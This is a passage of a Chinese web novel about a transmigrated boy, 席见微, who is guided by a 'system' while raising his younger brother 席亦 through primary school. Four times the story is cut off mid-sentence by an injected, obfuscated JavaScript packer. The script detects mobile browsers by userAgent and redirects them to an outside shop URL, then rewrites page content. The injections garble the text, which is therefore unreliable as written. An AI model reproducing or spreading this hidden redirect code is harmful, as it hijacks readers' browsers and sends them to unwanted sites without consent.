他一开始还能坚持睁着眼思考回去怎么哄人,然后思考着思考着,一个没忍住趴着就睡了。 席见微最后是被左边的小孩轻轻推醒的:“醒醒,发书了!” 他抬起头,看见周围已经坐满了人,和方才空旷的样子大相径庭。讲台上的老师此时正一本本把课本传下来。 同桌刚收回手准备坐回去,就被席见微抬起的脸给晃了一下。 年纪小的孩子对美的感知是纯粹的,他们并不能很确切的描述,但视线却下意识追着跑。 同桌对比了一下他们两个人的肤色,又看了看席见微翘起的刘海,好奇宝宝似的问:“你是男生还是女生啊?” 他们这个年纪性别特征本就没那么明显,再加上这个妹妹头,出去逛的时候,席见微总是被认错性别。 故而现在听见这个问题,他只是习以为常地回应道:“男生。” 同桌点点头,看着席见微的头发,有点羡慕:“我也不乐意剪这个头发,但我爸妈就逼我!” 他拖长了调子,夸张地说:“你这个头发真好看,衬得你可漂亮。” 其实席见微觉得他父母逼着他剪了头发,是个明智的决定。 同桌一看就是爱翻墙抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393077|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虫的好动分子,皮肤晒得有点黑,脸上还有一个创可贴。要是真留这样齐下巴的头发,反而是灾难。 “谢谢。”席见微刚刚闷着睡了会,脸有点发烫,便低头把脸贴在书上降温,笑着含糊地回答:“你也漂亮。” “我可以碰一下你的脸吗?”同桌看着他的脸颊和长长的睫毛,有点手痒。 跟在商场里看见漂亮的玩偶就走不动道,非得去揉搓两下一个感觉。 席见微:“?” 他委婉地开口:“我...不太喜欢别人碰我。” 对面也只是心血来潮随口一问,被拒绝了又飞速跳到了另一个话题。 小学生的教材不多,传书下来很快。 但这个过程中,席见微已经在同桌喋喋不休的话下,知道了对方的名字,住在那条街,家里干些什么,父母感情怎么样。 他甚至怀疑再说两句,对方能把家里银行卡密码都抖落出来。 前提是他知道的话。 一年级刚报道的学生,不像其他年级一开学就要上课,剩下的时间都留给他们自己了解身边同学。 等到快要放学的时间,老师最后让他们清点了遍书籍,强调了明天也要按时来后,就放他们去楼下领校服回家了。 因为是提前十几分钟下来的,教学楼下的人并不多。 席见微走的不快,步子轻轻的,边上跟着的是成功和席见微互换了名字的陈知远。 两个人结伴排了个队,等把那套蓝白色的校服拿到手的时候,放学的铃声终于响了起来。 陈知远半道被家长接走,所幸也没剩几步路了,席见微就一个人抱着衣服,顺着人流往校门口走。 司机长的人高马大,一出校门,席见微远远的就看见了。但还没等他抱着东西过去,那边反而冲过来一个身影。 小小的一只,穿着一件白色毛茸茸的衣服,跟个幼犬一样跌跌撞撞地就冲了过来。 然后低着头,紧紧攥住了席见微的衣角。 感受到衣摆处的力道,席见微下意识低头,随即难以置信地看向了司机。 司机就站在两步开外的地方,无声地对席见微做着口型:“他要等你。” 席见微说不清楚自己那一刻是什么感觉。 他把还抱在怀里的校服放到了一边地上,蹲了下来。 这下就比席亦还要矮那么一点。 他没有说话,而席亦低着头扭捏半天,终于还是没忍住,伸手抱住了席见微的脖子。 席见微这才看见他现在还泛红的眼皮。 虽说小孩眼皮子本来就薄容易留痕迹,但这样子,看着也是真的哭狠了。 搂住席见微之后,席亦好不容易稳定一点的情绪又开始变得乱七八糟。说话都不再是两个两个蹦字,颠三倒四的。 席见微拍着他的背,认真地听完了所有,没有插言打断。 几分钟后,席亦终于偃旗息鼓。他往前靠,把脸埋到了席见微的肩膀上,小声地喊:“哥哥?” “......” 席见微抬手握住了席亦的手腕,带着对方的手放到自己脸上,轻轻安抚说:“在这里。” 5. 兄控(五) 到了家后,席见微便去找阿姨要了条干净的小毛巾,用温水打湿后拧干对折。 “闭眼睛。”他站在沙发面前,看着仰头望来的席亦,打算给对方简单敷一下。 帮着按了一会,席亦就自己接管了那条毛巾。两只手捏着边缘,把眼睛盖得严严实实,还有往下滑的趋势。 席见微没忍住又帮他拎了下,免得捂住鼻子喘不上气。 毛巾没敷多久就快要冷掉,阿姨掐着时间过来把它拿走,推着两个人去洗手准备吃饭。 鉴于今天早上席亦那哭的声嘶力竭的样子,席母还是打算哄一下人,以免明天早上继续重蹈覆辙。 在喝着汤的间隙,有点刻意地问:“小亦最近有没有什么想要的啊?” 她都想好了,如果席亦想要玩具零食之类的,今天晚上她就可以带着两孩子一人买一车。 反正家里也不差那点地方。 可惜席亦是个软硬不吃的,一句话杀死了话题。 席亦咬着勺子:“要一起上学。” 咬字清晰,连贯不卡壳。 他说这话时没有看着席母,反而是悄悄看了眼席见微。 下一刻,又垂下视线,说话的样子即便没太大表情,也显得可怜兮兮的。 092适时贴心播报:【宿主,弟弟在看你。】 席见微当然知道,但他也没办法。总不能把席亦揣书包里带去学校吧? 以他的过往经验来看,这个时候他就不能抬头去看。 因为一看就心软,心软就容易犯错。 于是收到视线的席见微突然低头,一副很忙的样子,欲盖弥彰地吃了一口菜。 不知道是因为太过慌乱还是运气不好,这一口就咬到了里面藏着的姜丝。 他硬是咽下去了,没敢吭声。 ...... 席亦花了整整一个月,才勉强接受了自己和哥哥不在一个学校的事实。 一起上学是做不到了,放学回家还是能一块的。 虽说两个学校之间放学的时间差了快要一个小时,但问题不大,席亦自己会硬凑。 他每天放学后也不让司机带自己回家,就和司机一起在席见微学校门口等着。 一次性顺路接两个,这么省事的事,司机倒是没什么意见。 而与此同时,席见微也迎来了一件人生中重要的事情。 他开始换牙齿了。 门牙前几周时就有点松动,到了如今更是摇摇欲坠,可又顽强不掉。这种悬而未决、要落不落的感觉,让人心里不安又担忧。 一连几天,席见微都没什么食欲。 席见微虽然看着纤细,但却意外的是个不挑食、认真吃饭的孩子。 现在食欲一减,就格外明显,连陈知远这个神经大条的都看出来了。 第二天上学,台上的老师正在教读课文,陈知远就借着这个吵闹的空隙,开始掏书包。 翻找片刻,从里面拿出了一个包着的奶油面包。 他不知道缘由,看着昨天席见微那副趴在桌子上对餐包叹气的样子,还以为是不爱吃那个口味。 于是今天就从零食柜里,偷偷带来了自己特别喜欢的奶油小面包。 营养是一般的,健康是没有的。 但好吃是满分的。 陈知远把书立起来,跟着大部队念了两句后,把面包往席见微手里一塞,紧张兮兮地说:“你吃啊!” 席见微没干过这种课堂上开小差的事,也忘了上辈子干没干过,此时突然被塞东西到手里,连带着也开始紧张。 他依旧没胃口,可毕竟是朋友给的,纠结一秒还是俯身咬了一口。 陈知远严选的奶油小面包确实很好吃,外皮是那种酥酥脆脆的。为了不那么大声,席见微嚼地又碎又慢。 直到最后一口咽下去,席见微突然感觉有点痛。 陈知远见他终于嚼完,迫不及待地凑过来问:“怎么样,是不是很好吃?” “......” “你为什么不说话?”陈知远疑惑地说。 席见微:“我感觉我牙齿...” 还不待这句话说完,就有什么硬硬的东西噔地一声落在了桌子上。 一瞬间,两个小朋友大眼瞪小眼。 他们齐刷刷懵逼了,视线往下看,又聚集在那颗桌子上的牙齿上。 席见微后知后觉地尝到了口腔里的血腥味。 陈知远慌了,此时也顾不上别的,颤抖着站起来举手告诉了老师。 席见微是咬着一团棉花回到了教室的。 老师已经联系了家长,没过多久就会过来接他回去,他现在只需要止一下血。 那团棉花有点大,席见微咬着都有点合不拢嘴。但他长的好看,安静干净,即便这样闷闷不乐地咬着也不显滑稽。 陈知远不知道席见微就要换牙了,还以为是他给的面包把人牙崩了,下课后就差没跪下来道歉,把自己的门牙掰了还过去。 席见微的血已经止住了,他把棉花吐了,也不说话,只是轻轻摆手示意没关系。 还写字夸赞了一下那个奶油面包。 ...... 回到家后,席见微立马把自己反锁关在了房间里。 他从书桌边上搬了一个板凳到卫生间,站在上面对着镜子仔细观察。 原本白净整洁的一排牙里突然少了一颗,空了一块导致说话都不方便,还漏风凉飕飕的。 但席见微在意的点不是这个。 他现在不愿意说话,只好找能和自己内心交流的系统:【092。】 092随叫随到:【怎么了宿主?】 【我的牙齿现在好丑。】席见微说。 092不知道该怎么回答了。 它这段时间隐约发现,席见微好像是有点颜控在身上的。 虽然它的宿主从来不承认。 席见微因为那颗掉了的牙焉耷耷的,也不愿意出门。 吃中午饭的时候,阿姨来敲门也没开,压着声音说自己不太饿,要先睡一觉。 他确实也打算这样干,毕竟睡着了就感觉不到饿了。 席见微躺在床上盖好被子,哀痛完自己的门牙准备睡觉时,隐隐约约听见了外面的说话声。 人的好奇心是本能,现在的席见微也不能从中豁免。 他下了床走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393078|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门边,发现那是父母在外面训斥什么。因为太远,只能模模糊糊听见一句“挑食”,还有“不懂事”。 席见微心跳都好像漏了半拍:【我好像连累我弟弟挨骂了...】 092刚刚才下载好的高情商回答语言包,现在就派上了用场,它安慰说:【没准说的不是席亦呢?】 席见微摇摇头,认真说:【我们家只有他挑食。】 092:【......】 092:【哦。】 那边的声音刚歇了一分钟,就又传过来。这次动静比刚刚还大了点。席见微听着听着,画面仿佛已经出现在眼前。 席母席父还有阿姨三个人围着席亦教育,席亦就坐在座位上抓着勺子,像个没人要的小白菜似的,头越埋越低。 就算挑食也不能这么教训吧... 席见微越想越觉得。 又听了两嘴后,他终于忍不住开门跑了出去。 席见微爱漂亮,也会抽时间打扮自己。头发长了一点后,还自己学着扎一个啾啾在脑后,发圈都是好几个款式颜色。 可此时他出现在客厅,头发还是乱的,翘起来好几簇。一眼就是慌忙跑出来的。 席见微刚喘了口气,抬起头准备帮席亦说话,却没看见他弟弟,只瞧见几个大人笑着看着他。 “下来了就顺便把午饭吃了吧。”席父推了下眼镜,平和地开口。 “就是啊小微。”阿姨在边上帮腔。 几个人一言接一语,语调温柔,脸上的欢快都藏不住。哪里像是刚骂完人的样子。 席见微终于意识到自己中计了。 他歪着身子往后面看,发现席亦坐在远处的沙发上看着这边,仿佛还在状况外。 敢情刚刚那一大堆话是说给他听的。 对上他的视线,席亦弯了弯眼睛,隔着距离,无声地叫了他一声。 行吧。 席见微没了脾气,蹲下身缓了缓气息,垂眼慢吞吞地笑起来。 ...... 日积月累,系统播报累计的爽度已经爬到了80多,不过比起那999的上限还是显得微不足道。 席亦也成功升入小学,奋斗三年,终于又和席见微到了一个学校。 他这些年又长开了一点,褪去了些三四岁小孩都有的肉,五官看的更为清晰。 单眼皮长睫毛,眼尾偏长,多半是个酷哥苗子。 不过现在还是个要牵着哥哥的手去学校的小孩而已。 席见微动了动手腕,把对方的手扣得更紧些。然后默默又打开了昨天夜里主系统发来的剧情。 这么长时间,他也大概摸清楚了。092是负责和他进行日常交涉传达的,而这个主系统则是偶尔出来,负责监管剧情和小世界运行。 虽然这个世界的主角是席亦,但剧情线也没有详尽到,把主角从出生开始的每一件事情都记录下来的程度。 故事的大部分笔墨都在他大学和创业时期,而再往前一直追溯...... 小世界所给予的最早剧情,是从席亦小学一年级开始的。 随着剧情线的展开,第一件需要席见微做的事,终于出现了。 6. 兄控(六) 席家坐落的这一片别墅区边上,有一个规模不小的开放游乐场,每逢周末,里面的小孩就格外的多,都是些相熟的面孔。 前两天,游乐场又翻了一番,游乐设施扩展了些。 席见微坐在一个秋千上,他也不需要大人推,只是偶尔用脚蹬着晃悠两下。 边上秋千上坐着的席亦悄悄瞄见了,想要学着哥哥的样子也蹬两脚,结果因为身高不够踩不实地,放弃了。 以往这个时候,席见微都会注意到,笑一会后跑下来帮他推两下,可今天,他却不知为何忽视了。 在脑海里,席见微今天不知道多少次询问主系统,非得要这样做吗? 而无论多少次,主系统的回答永远是不含感情的:【是的,这是你需要完成的固定的剧情。】 席见微抿了下唇。 这段剧情在世界线里只占了很短的篇幅。 席亦六岁时曾经被原主带出去玩,可原主是个玩心大的人,被别的东西吸引,把席亦丢在了原地。 一个人待在那里的席亦正巧撞上了从其他地方刚转来的小霸王配角。 对方心情不好,再加上看不惯席亦这副样子,便发生了冲突。 不过最后占上风的当然是席亦。 也是因为这件事,两个人就此相识。齐榆也成为了席亦的同班同学和朋友,为席亦成年后的工作室建设出了很大的力。 席见微需要做的事情很简单,丢下席亦走人,找个地方玩个一小时再回来就好了。 主系统也反复保证,在此期间席亦不会发生任何意外,可席见微却依旧良心不安。 席亦发现了他的心不在焉,转头过来看着他。可席见微还是没能发现。 【提醒!距离剧情节点还剩五分钟,请宿主按照剧情要求行动!】 席见微往远处看,一眼便瞧见那个面色微怒的小孩。 他踩住地面,把秋千完全停了下来,准备起身。 这时,身边伸出一只手,拉住了他的袖子。 席见微下意识回头,对上席亦的眼睛。 清透的,充满依赖的。 那一刻,他想了很多种开口。 欺骗席亦告诉他自己要去边上捡个东西,马上就回来。又或是直白地坦白我会离开一段时间,你要好好待着。 想了很多,但他最终什么都没能说。 席见微忘了自己是从哪本书上看见的。上面说,那些年纪小的孩子往往会拥有出众的直觉和情绪感知力。 之前他只是一眼匆匆而过,可此刻,他觉得那可能是真的。 无言的氛围弥漫。 席亦和他对视了两秒,慢慢松开了攥着袖子的手。 ...... 席见微刚离开那里没多久,齐榆就打发了身边的人跑了过来。 他刚准备坐在席亦身边的位置,就见席亦自己从秋千上跳了下来,赶在他来之前,在那个秋千上落座。 齐榆:“?” 这人什么毛病? 他只得退而求其次地坐在席亦原来的秋千上。 晃荡了两下,看着席亦那副垂着眼不搭理人的模样,突然直白到莽撞地开口:“你干嘛这副不开心的样子?” “你哥都这样丢下你跑了,你还在意他干嘛?”齐榆实在看不惯他这副样子,恨铁不成钢地开口。 席亦:“哦。” 齐榆看他就像是在看曾经被蒙在鼓里的自己,哼哼唧唧扭捏半天,开始自揭过往。 他也有个哥哥。不过不是亲的,而是旁系的表哥,比他要大十来岁。 齐榆是独生子,也没几个朋友,小的时候除了父母,最亲的就是那位经常来陪他玩的哥哥。 不过他把别人当做顶好的哥,别人却只把他当做了一个可以索取利益的工具。还在某个雪天里,故意把他扔在了巷子里。 席亦听完后沉默了下:“那只是你哥。” 齐榆要气笑了。他不知道席亦哪里来的底气,明明他是看见席见微当着他的面离开的。 “一个好哥哥会离弟弟那么远吗?” 席亦终于抬起脸来看他。 明明他身高比齐榆要矮一截,对视说话的时候,却不知道为什么显得有气势得多:“是不会。” ...... 秋千的右侧有一面不高不矮的假山,上面无序地排列着几个挖空的凹槽,是用来攀爬的。 在被光挡住的背面,一个小孩站在那里。 原剧情里面,原主是跑了游乐场的另外半边去玩沙子了,可席见微根本就不舍得跑那么远。 走掉的剧情点完成了,他待在哪里就是他自己的选择了。 于是在席亦眼前走掉后,他又绕了个大圈,偷偷摸摸地站在这里。 选的这个位置实在是危险,但凡席亦下来往边上走两步都能看见他。 主系统正充当着一个移动摄影机的角色,给席见微实时转播那边的画面。 他绕过来花了一点时间,画面一切过去,就是齐榆对着席亦说出的那句“你还在意他干嘛”。 一句话,听得席见微开始在假山后面反复走来走去。 【宿主,你再往外走就会暴露了。】主系统说:【这是剧情需要,你不需要那么自责。】 “不是自责...”席见微下意识反驳,思考了两秒,又小声坦诚道:“好吧...可能有一点,但主要不是因为这个。” “我只是看见他害怕,有点难受。” 主系统:【...?】 它又去看了一遍刚刚的剧情回放,分析后得出结论,席亦回答那个“哦”字和往常的语气相似度达到了百分之九十九。 【我觉得他没有害怕。】主系统阐述自己的观点。 “有的。”席见微盯着画面,缓慢说:“他不高兴和害怕的时候就喜欢那样低头。” “而且他刚刚抓着秋千的手,也在轻微发抖。” 系统一直没有开口。 席见微像是从中意识到了什么:“你们的剧情线里面没有讲过这些么?” 主系统顿了下:【没有。】 剧情会记录席亦的成绩,和他未来的成就,也可能会在只言片语里留下他的挫败与坚毅。 却不会有他不安时垂下的眼睫,和颤抖的手。 这太无趣。 大概只有席见微才会在意这些东西。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393079|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>转播的画面里,齐榆已经讲完了自己的往事。席亦发抖的手也停了下来,抬起眼睛,慢慢习惯了。 可即使如此,席见微的脚步还是没停。他像是在借由这种机械性的动作来平复自己的内心,又或是等待时间。 情绪和反应太过真切,就仿佛席见微本就是这个世界的人,拥有一个真正的弟弟一样。 主系统不理解:【从灵魂的角度来看,你并不是原主。从身体来讲,你也和主角没有血缘关系。】 【为什么你会那么真情实感?】 席见微终于站定了,他眨了下眼:“你应该去和092学学的。” 主系统:【今天过后,我会去尝试的。】 “非要说为什么的话...”席见微慢慢回答:“可能是因为人的感情并不一定是建立在血脉上吧。” “他喜欢我,管我叫哥哥。我们一起长大,一起生活。”席见微说:“不管有没有血缘关系,这都是家人了。” ...... 规定的一个小时其实是很快的,但席见微躲在假山后面等的很煎熬。 092接替了主系统,一回来就看见那地上反复踩过的痕迹,它甚至怀疑再有一个小时,席见微就能在这里留下很深的印子。 席见微按照来时候的原路又绕回去,从另一个方向出现在席亦面前。 他身边的齐榆还没离开,坐在秋千上和席见微撞个正着,看起来有点意外。 席见微弯着眼睛,好脾气地给小孩打了一个招呼,毕竟也是席亦未来的朋友加合作伙伴:“你好。” 齐榆刚刚只是远远的看见了席见微把人丢在这里,也是现在才看见正脸。 出乎意料的是,他以为的那个“不负责的哥哥”,长的却是一副温柔干净的样子,很有亲和力。 还真是人不可貌相。 齐榆撇了撇嘴,声音和蚊子差不多大:“你好。” 他撂下这么一句,就起身离开秋千,跑路了。但在半道想起什么,紧急刹住脚转身大喊席亦的名字,挥了挥手。 看起来朋友线进展的很成功。 席见微想。 刚刚无论是和齐榆打招呼,还是齐榆转头过来说拜拜,席亦都没有说话。 周围的人都慢慢离开了,脚步声混着人们的喧闹声。席见微终于低头看向了席亦。 他原先以为,自己突然又出现在席亦的面前,对方可能会一瞬间很惊喜,又或是发起追问,怨怼的问他去了哪里。 但两种情况都不是。 席亦只是抬头看着他,然后和以往一样伸出了手。 还附赠一个干净的笑容。 席见微晃了一眼,下意识牵住了他的手。心里原先准备好的解释被按下,将人从秋千上牵了下来。 往家走的路上两道身影一高一低,身后的影子被夕阳拖得长长,最后在某个界点交汇。 席亦像是对此很感兴趣,往后看了好几眼。 最后回头的时候,席见微还是没忍住问他;“一个人呆在那里害怕么?” 席亦的脚步一顿,握紧了他的手,却只是答非所问地说。 “哥哥,你走来走去的声音好轻。” 7. 兄控(七) “...什么?”被揭穿的那刻席见微还未能反应过来,话脱口而出后,才意识到席亦是什么意思。 一路上埋在心里的不舒服在这一刻烟消云散,迎来又一次轻快的呼吸。 席见微慢慢笑起来:“你怎么这都认得出来。” “很难吗?”席亦好奇。 席见微认真思考了下:“我觉得挺困难的。” 于是席亦又换了一个问题:“如果躲在那的是我,哥哥你会发现吗?” 好几秒过去,席见微都没有回答。 但席亦其实也不需要他回答,因为他已经知道答案。 一条路终于快要走到了头,家里的大门近在咫尺。阿姨已经提前打开了门,招手催促他们进门洗澡。 “会吧。”在进门的前一刻,席见微突然开口。本以为被略过的话题,又被拾了起来。 席见微设想了好几种情况,终于轻声地给出属于自己的答案。 “只要你离我近一点,我会发现你的。” ...... 席亦知道他没有走掉,这对席见微是件好事,但对于剧情线来说,可能就没那么美妙了。 当天晚上,席见微赶在系统发难前,率先坦白:【席亦发现我在那里了。这样会出问题吗?】 但幸好,主系统已经退了下去,和他交涉的是092。它看着数据面板上忽闪忽闪的剧情线,也不确定。 【应该可以...?这段剧情主要是给齐榆和主角一个认识的契机。后面需要持续观察这条友情线的进展,如果没事就没问题。】 席见微了然地点了点头。 他就这么在席亦那里旁敲侧击了几天两人的相处进展,得到一个肯定的答复后才放下心来。 或许是两人的关系好了起来,某一个周末,齐榆甚至跑来找席亦。 叮叮两声门铃响后,打开门的是席母。 齐榆对着长辈脾气收得很好,微微鞠躬打了个招呼:“我是席亦的同班同学,他在家吗?” “在家里面,先进来吧。”席母低头看他,侧过身把人放了进来。 齐榆进来到处看了圈,却没有见着人。 席母压着声音,给他指了指客厅边上那个背对这里的沙发:“在那里呢,刚刚还在和他哥哥一起看书。” 齐榆顺着指着的地方看过去,只能瞧见一个沙发背,往客厅挪了两步,这才勉勉强强看清了情况。 他们之前应该是真的在看书。而现在,那两本书一本落到了地上,一本摊开盖在席见微的腿上。 宽敞的沙发躺下两个孩子绰绰有余,席亦就占据了一小块地方,而席见微背对外侧闭着眼,护住里面的人防止他掉下来。 席见微的下巴差一点就抵在席亦头顶,呼吸的时候气息恰好落在发尖。 他们睡觉并没有完全贴在一起,中间还留着一点空隙,却依旧显得充满依赖又恬静。 让看见的人不自主地放缓呼吸,跟着安静下来。 至少齐榆现在就是这样的。 他站在那里太久没动,惹得席母也察觉到了不对走了过来。 面前的这种情况很明显不是第一次在家里出现了,她习以为常地把书捡起。 “不是睡过午觉了吗,怎么又睡着了?” 席母放好书哑然失笑,她喊了喊两个人的名字:“醒醒,再不起晚上就睡不着了。” “......” 席见微刚被叫醒时是懵的,好不容易意识清醒了点,看见站在边上的齐榆,又开始怀疑自己是不是还在梦里。 齐榆和他冷不丁地对视两秒,咳嗽了声:“呃,那个...哥哥好。” 席见微更觉得自己在做梦了。 席亦也没睡醒,坐起来后只是一味地想去牵他哥的手,半眯着眼睛。结果齐榆的话说完,他的眼睛一下就睁开了。 齐榆觉得这真的神了。毕竟他转学过来两周多,从来没见过他这位“朋友”眼睛睁得这么大,这么有神过。 席见微明明是背对着席亦的,却在他睁眼时,精准地摸了摸他的下巴安抚。 做完这个动作,那些因为意外带来的恍惚感终于褪去了。 席见微也顾不上自己反翘的头发了,从茶几上摸了一块巧克力递过去,轻声问:“是过来找他玩吗?” “我就是顺路过来送个东西。”齐榆摆摆手,可还是在席见微带笑的眼神下,把东西接了过去,揣在了兜里。 他从包里翻出不小心拿错的席亦的作业本,放在了桌子上。没有理会席母挽留的话,往玄关走。 最后,席见微把他送到了门口。齐榆在准备下台阶的时候,突然转身开口说。 “对不起,之前对你态度不好。”齐榆见识完方才那些,真情实感地说:“你是个好哥哥。” 时隔许久,莫名收到一个道歉的席见微一愣:“......谢谢你?” 送走人后又坐回沙发上后,席见微都还是没能搞明白为什么齐榆会想起来和他道歉。但是这多半和席亦有关系。 于是他开始戳弟弟的脸:“是你让他给我道歉的吗?” 席亦抬手抓上了他耳边那缕翘起的头发,摇了摇头:“没有,是他自己。我只和他说过当时在游乐场你没有走开。” 可即便是这样,也足够席见微惊讶了,毕竟席亦也不是那种会专门去解释的性格。他这么想着,便也就这么问了。 发丝重新垂下来,席亦松开手说:“因为他要和我做朋友。” 如果齐榆只是一个萍水相逢的陌生人,那席亦其实无所谓他的想法会是什么样子。 可齐榆想要当他的朋友。 那么至少,他不能够讨厌席见微。 ...... 升上六年级后,席见微他们班的体育课就逐渐开始减少,到了现在更是难得见到一节。 这对陈知远来说简直就是致命的打击,他爬在桌子上实在是忍不了了,开始抓着席见微吐槽:“我感觉我要学疯了。” 席见微笔下的动作一顿,转头过来安慰他:“等今年结束考完试就好了,两个多月假期还没有作业呢。” 这么多年了,席见微相较于陈知远第一次见到他,也有了不小的变化。 他依然还是那头勉强到肩膀的齐发,但身高抽条后,一眼扫过去却不会再觉得性别模糊了。 反而能够让人很清晰地认识到,这是一个青稚秀气的少年。 “那是你,我要是考差了,我爸妈假期多半得找家教给我补课。”陈知远叹气说:“明明我的成绩已经够直升我们学校的初中了。” “话说,你考哪里啊?” 席见微撑着下巴,不确定地小声说:“一中?” “啊?!”陈知远呆了,隔壁一中的分可不是一点半点的高:“那...那我怎么办?” 席见微把自己的笔记翻出来,放在了他桌上:“好好努力。” 陈知远和那份笔记大眼瞪小眼,最后认命翻开,提起笔开始努力了。 但这股子努力劲还没坚持十分钟,就被另一件事打断了。 班主任走了进来,手里还捏着前两天小测做的试卷,可他却反常地没有一来就讲卷子,反倒是屈起手指敲了敲桌子。 一阵声响,吸引了班上所有人都注意力,席见微也放下笔看过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393080|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “都知道再有几天,就是我们学校的运动会了。好几个同学跑过来问我,这个学期我们年级能参加吗。” 他说完停顿了下,像是在卖关子:“当然...是不可能参加的。” 此话一出,讲台下瞬间鬼哭狼嚎一片。陈知远悲痛地尤为突出,要知道他可是上个月就开始数着日子,期待运动会的到来了。 “哭什么呢?”老师又敲了敲桌子:“不能参加,没说你们不能去看啊。学校商量后决定这次我们年级不用参加项目,去当观众就行。” 教室里响着的语气词一下从“呜”变成了“哇”。 毕竟乐意去报项目参加的只是少数,大部分都只是把运动会当做了假期。 现在可以直接当观众,何乐不为。 ...... 另一栋教学楼里面,类似的场景也在上演。只不过他们年级就没那么好运,现在还在催着人报项目。 简单一点的,像跳远跳高之类的倒是齐了人,单子上剩下的几乎全是跑步类的项目,尤其是长跑,半天都没找到一个人。 没办法,体育委员开始逐排逐排地进行“推销”。嘴里的话术大致为:“求你了我的好同学,你就报一个吧!” 齐榆被忽悠瘸了,迷迷糊糊地在接力赛和两百米上都签下了自己的名字,等反应过来的时候为时已晚。 体委忽悠完齐榆,看着八百米和接力赛那里还剩下的空缺,视线又悄摸摸地往齐榆边上的席亦那里瞟。 眼睛眨呀眨的,疯狂暗示。 席亦偏过头写字,试图逃避。 齐榆瞬间忘了自己刚刚的狼狈样子,简直要被眼前这一出笑死。 做了席亦两年多的同桌了,对方是什么人他还能不知道吗?典型的不爱动弹,要能喊动他去跑八百,那真是太阳打西边出来了。 体委还在坚持,席亦依旧不敢回头。 齐榆热闹看够了,终于来胡乱打圆场:“其实真的不是席亦不愿意去,他从小身体就弱,走路靠抱,出门靠牵的,没办法参加。” 体育委员还是想要争取一下:“是真的?” 席亦诡异地停顿了下,最终昧着良心:“真的。” ...... 席见微一下课,就看见了等在教学楼下的席亦。他偏头和陈知远道了个别,然后走过去,和席亦一起走出了学校。 十几分钟后,汽车停在了家门口。席父席母今天有事要晚饭才会回来,家里除了阿姨就他们兄弟两个人。 在他们去洗手的时候,桌子上的饭菜已经摆上了桌子。 席见微吃饭的速度要比席亦快很多,倒不是咀嚼的速度快点,而是他吃饭比起席亦少了很多不必要的步骤。 就像现在,他已经放下了碗,席亦还在对着碗里面的菜挑挑拣拣。挑食这一点,席亦完全做到了从一而终。 席见微面前的碗筷已经被收下去了,但他没有急着下桌子,反倒是就坐在对面,和席亦慢慢聊起了今天的经历。 从上课,到自己想要去的初中,还有借给陈知远的笔记。最后,聊到了不久后的运动会。 “难得学校还能让我们也休息两天。” 席见微这个年级上个学期没能参加运动会,现在能在毕业之前再玩一次,他也是高兴的。 席亦吃饭的速度又慢了一点。 席见微下巴抵在桌子上,想起什么,忽然弯起眼睛笑问道:“小亦有报项目吗?当天需要哥哥去帮你加油么?” “......” 席亦看起来要把筷子给咬断了,他抬头瞄了席见微一眼,须臾,淡然平常地回了一句:“报了。” 8. 兄控(八) 得到回答后,席见微便这样和他约定好了。等席亦的项目开始的时候,他一定会到边上加油。 可等保证完,却看见席亦还不眨眼地盯着自己。席见微揣摩了一下他的意思,抬手温声问:“是要拉勾吗?” 说着,他伸出了小拇指,还微微晃了下。 “我...”席亦方才在回忆着那张报名表上还剩下的项目,刚想要解释,可看见对面伸出的手,话一下堵住了。 席亦放下了手上的筷子,伸手过去。 严格来说这并不能算作是拉勾,指节相扣不紧,也没有用大拇指对按。 他只是在席见微的小拇指上轻搭了一下,像是牵手。 席见微没有在意,他就着这样的动作,带着晃了晃席亦,然后松开了手:“好了。” 对面又开始埋头硬吃。 一顿饭席亦吃得艰难又坎坷。碗空掉的时候,边上挑出来的菜就没办法藏起来了。 他自己也意识到了这点,还没等到阿姨过来收碗,就自己端着碗放到了厨房。 但不得不说,整个动作非常的欲盖弥彰。 看着席亦快步走到厨房的背影,席见微后知后觉地意识到了一个很恐怖的问题—— 他弟弟怎么看起来,好像没长个子? 